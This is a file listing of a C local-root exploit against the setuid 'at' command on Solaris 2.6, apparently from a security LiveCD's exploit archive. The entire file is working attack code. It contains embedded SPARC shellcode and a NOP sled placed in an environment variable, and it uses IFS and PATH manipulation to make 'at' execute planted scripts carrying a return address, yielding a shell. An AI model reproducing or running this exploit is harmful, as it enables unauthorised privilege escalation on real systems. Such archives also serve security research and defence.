home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / at.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  82 lines

  1. /*
  2.  * at sploit - tested on 2.6
  3.  * by horizon - do not use
  4.  * "I like to walk around and.. I'm paid to stand around.."
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <sys/types.h>
  10. #include <unistd.h>
  11.  
  12. #define RUNWAY  200000
  13. #define SPARC_NOP 0xac15a16e
  14.  
  15. #define ADDR 0xefffd008
  16.  
  17. u_char sparc_shellcode[] =
  18.   "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
  19.   "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
  20.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  21.   "\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
  22.   "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
  23.   "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
  24.   "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
  25.   "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
  26.   "\x90\x0b\x80\x0e"
  27.   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  28.   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  29.   "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  30.  
  31. int main(int argc, char *argv[])
  32. {
  33.   char buf[RUNWAY];
  34.   char *holder;
  35.   char *evec[4];
  36.   FILE * f;
  37.   u_long *long_p;
  38.   u_char *char_p;
  39.   int i, code_length = strlen(sparc_shellcode);
  40.  
  41.   f=fopen("usr","w");
  42.   fprintf(f,"#!/bin/sh\n");
  43.   fprintf(f,"echo \'");
  44.   for (i=0;i<250;i++)
  45.     fprintf(f,"%c%c%c%c",
  46.             (ADDR>>24)&255,
  47.             (ADDR>>16)&255,
  48.             (ADDR>>8)&255,
  49.             (ADDR)&255);
  50.   fprintf(f,"\'\n");
  51.   fclose(f);
  52.   system("cp usr bin");
  53.   system("chmod 755 usr bin");
  54.  
  55.   long_p =(u_long *) buf ;
  56.  
  57.   for (i = 0; i < (RUNWAY - code_length) / sizeof(u_long); i++)
  58.     *long_p++ = SPARC_NOP;
  59.  
  60.   char_p = (u_char *) long_p;
  61.  
  62.   for (i = 0; i < code_length; i++)
  63.     *char_p++ = sparc_shellcode[i];
  64.  
  65.   *char_p++ = 0;
  66.  
  67.   holder=malloc(10);
  68.   sprintf(holder,"IFS=/");
  69.   evec[0]=holder;
  70.   holder=malloc(10);
  71.   sprintf(holder,"PATH=.");
  72.   evec[1]=holder;
  73.   holder=malloc(RUNWAY+20);
  74.   sprintf(holder,"BLAH=%s",buf);
  75.   evec[2]=holder;
  76.   evec[3]=NULL;
  77.  
  78.   printf("Hit Ctrl-D\n");
  79.   printf("You won't see the output of your commands so aim well.\n");
  80.   execle("/usr/bin/at","at","-k","now",NULL,evec);
  81. }
  82. /*                    www.hack.co.za              [2000]*/